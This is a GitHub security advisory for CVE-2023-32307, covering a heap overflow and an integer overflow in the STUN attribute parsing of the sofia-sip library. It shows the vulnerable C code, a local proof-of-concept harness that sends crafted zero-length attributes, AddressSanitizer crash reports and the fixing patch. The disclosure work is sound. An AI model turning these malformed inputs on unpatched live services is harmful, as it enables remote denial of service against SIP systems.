Skip to content

heap-over-flow and integer-overflow in stun_parse_attr_error_code and stun_parse_attr_uint32

High
andywolk published GHSA-rm4c-ccvf-ff9c May 23, 2023

Package

sofia-sip (c)

Affected versions

<= 1.13.14

Patched versions

1.13.15

Description

Referring to GHSA-8599-x7rq-fr54, several other potential heap-over-flow and integer-overflow in stun_parse_attr_error_code and stun_parse_attr_uint32 were found because the lack of attributes length check when Sofia-SIP handles STUN packets.

The previous patch of GHSA-8599-x7rq-fr54 fixed the vulnerability when attr_type did not match the enum value, but there are also vulnerabilities in the handling of other valid cases.

OVERVIEW

For example, in stun_parse_attr_error_code which handles the ERROR_CODE(0x09) attribute, heap-over-flow and integer-overflow can be produced as comments:

int stun_parse_attr_error_code(stun_attr_t *attr, const unsigned char *p, unsigned len) {

  uint32_t tmp;
  stun_attr_errorcode_t *error;

  memcpy(&tmp, p, sizeof(uint32_t));            // potential heap-over-flow here when len < 4
  tmp = ntohl(tmp);
  error = (stun_attr_errorcode_t *) malloc(sizeof(*error));

  error->code = (tmp & STUN_EC_CLASS)*100 + (tmp & STUN_EC_NUM);

  error->phrase = (char *) malloc(len-3);       // potential integer-overflow causing allocation-size-too-big when len < 3

  strncpy(error->phrase, (char*)p+4, len-4);    // if malloc failed, potential write to NULL
  error->phrase[len - 4] = '\0';                // same as above

  attr->pattr = error;
  stun_init_buffer(&attr->enc_buf);

  return 0;
}

IMPACT

The OOB read and integer-overflow made by attacker may lead to crash, high consumption of memory or even other more serious consequences.

REPRODUCTION

The POC is modified from the POC of GHSA-8599-x7rq-fr54:

// libsofia-sip-ua/stun/stun_attr_poc.c
// ./autogen.sh && CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure && make -j8 && cd libsofia-sip-ua/stun/
// gcc -fsanitize=address stun_attr_poc.c  -I ../.. -I ../su  -I ../url/ -I ../sip/ -I ../stun -o stun_attr_poc ../.libs/libsofia-sip-ua.a -lssl -lcrypto
// ./stun_attr_poc

#include "config.h"
#include "stun_internal.h"
#include <assert.h>
#include <string.h>
#include <stdlib.h>

#define STUN_HEADER_SIZE 20
#define STUN_ATTR_TYPE_SIZE 2
#define STUN_ATTR_LEN_SIZE 2
#define STUN_ATTR_VALUE_SIZE 0

// heap-over-flow in stun_parse_attr_error_code(), asan report see asan_report_1.txt
void poc_error_code_1() {
    const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE;
    unsigned char *stun_message = calloc(1, stun_message_size);
    if (stun_message == NULL)
    {
        perror("Failed to allocate stun_message");
        exit(EXIT_FAILURE);
    }
    stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE;
    stun_message[20] = 0x00; stun_message[21] = 0x09;   // attr_type = ERROR_CODE
    stun_message[22] = 0x00; stun_message[23] = 0x00;   // len = 0, can pass the existing check to stun_parse_attr_error_code()

    stun_msg_t request = {.stun_attr = NULL};
    request.enc_buf.data = stun_message;
    request.enc_buf.size = stun_message_size;

    stun_parse_message(&request); // heap-over-flow when 'memcpy(&tmp, p, sizeof(uint32_t));'

    free(stun_message);
}

// integer-overflow in stun_parse_attr_error_code(), asan report see asan_report_2.txt
void poc_error_code_2() {
    const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE + 10;
    unsigned char *stun_message = calloc(1, stun_message_size);
    if (stun_message == NULL)
    {
        perror("Failed to allocate stun_message");
        exit(EXIT_FAILURE);
    }
    stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE + 10;
    stun_message[20] = 0x00; stun_message[21] = 0x09;   // attr_type = ERROR_CODE
    stun_message[22] = 0x00; stun_message[23] = 0x00;   // len = 0, can pass the existing check to stun_parse_attr_error_code()

    stun_msg_t request = {.stun_attr = NULL};
    request.enc_buf.data = stun_message;
    request.enc_buf.size = stun_message_size;

    stun_parse_message(&request); // integer-overflow when 'error->phrase = (char *) malloc(len-3);'

    free(stun_message);
}

int main(void)
{
    poc_error_code_1();
    
    /* Remove the comment here and comment out `poc_error_code_1` to trigger integer-overflow. */
    // poc_error_code_2();
    
    return 0;
}

AddressSanitizer reports (The second report may not appear on a 64-bit system, please pay attention to the memory usage.):

=================================================================
==14824==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5200b98 at pc 0x004246ad bp 0xbfe10598 sp 0xbfe1058c
READ of size 4 at 0xb5200b98 thread T0                                                                                                                              
    #0 0x4246ac in stun_parse_attr_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:253
    #1 0x423bc5 in stun_parse_attribute /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:167
    #2 0x423567 in stun_parse_message /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:109
    #3 0x422e14 in poc_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:34
    #4 0x422e97 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:41
    #5 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0xb6e23357 in __libc_start_main_impl ../csu/libc-start.c:381
    #7 0x4229f6 in _start (/home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc+0x99f6)

0xb5200b98 is located 0 bytes to the right of 24-byte region [0xb5200b80,0xb5200b98)
allocated by thread T0 here:                                                                                                                                        
    #0 0xb78babab in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
    #1 0x422b8a in poc_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:20
    #2 0x422e97 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:41
    #3 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:253 in stun_parse_attr_error_code
Shadow bytes around the buggy address:
  0x36a40120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40160: fa fa fa fa fa fa fa fa fa fa 00 00 04 fa fa fa
=>0x36a40170: 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a401a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a401b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a401c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==14824==ABORTING
=================================================================
==2219==ERROR: AddressSanitizer: requested allocation size 0xfffffffd (0x800 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0xc0000000 (thread T0)                                                                                                                                                  
    #0 0xb78baffb in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69                                                                
    #1 0x413b14 in stun_parse_attr_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:259
    #2 0x412f4f in stun_parse_attribute /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:167
    #3 0x4128f1 in stun_parse_message /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:109
    #4 0x41219e in poc_error_code_2 /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:56
    #5 0x412221 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:65
    #6 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

==2219==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69 in __interceptor_malloc
==2219==ABORTING

SUPPOSED PATCH

From c3bbc50c88d168065de34ca01b9b1d98c1b0e810 Mon Sep 17 00:00:00 2001
From: Xu Biang <[email protected]>
Date: Sat, 6 May 2023 05:51:55 +0800
Subject: [PATCH] stun: add checks for attribute length before read from it

Signed-off-by: Xu Biang <[email protected]>
---
 libsofia-sip-ua/stun/stun_common.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/libsofia-sip-ua/stun/stun_common.c b/libsofia-sip-ua/stun/stun_common.c
index 87523ea..5891269 100644
--- a/libsofia-sip-ua/stun/stun_common.c
+++ b/libsofia-sip-ua/stun/stun_common.c
@@ -250,6 +250,10 @@ int stun_parse_attr_error_code(stun_attr_t *attr, const unsigned char *p, unsign
   uint32_t tmp;
   stun_attr_errorcode_t *error;
 
+  if (len < 4) {
+    return -1;
+  }
+
   memcpy(&tmp, p, sizeof(uint32_t));
   tmp = ntohl(tmp);
   error = (stun_attr_errorcode_t *) malloc(sizeof(*error));
@@ -271,6 +275,11 @@ int stun_parse_attr_uint32(stun_attr_t *attr, const unsigned char *p, unsigned l
 {
   uint32_t tmp;
   stun_attr_changerequest_t *cr;
+
+  if (len < 4) {
+    return -1;
+  }
+
   cr = (stun_attr_changerequest_t *) malloc(sizeof(*cr));
   memcpy(&tmp, p, sizeof(uint32_t));
   cr->value = ntohl(tmp);
-- 
2.40.0.windows.1

This patch has been merged in #214 .

CREDIT

Xu Biang, HUST CSE.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2023-32307

Weaknesses

Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Learn more on MITRE.

Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control. Learn more on MITRE.

Credits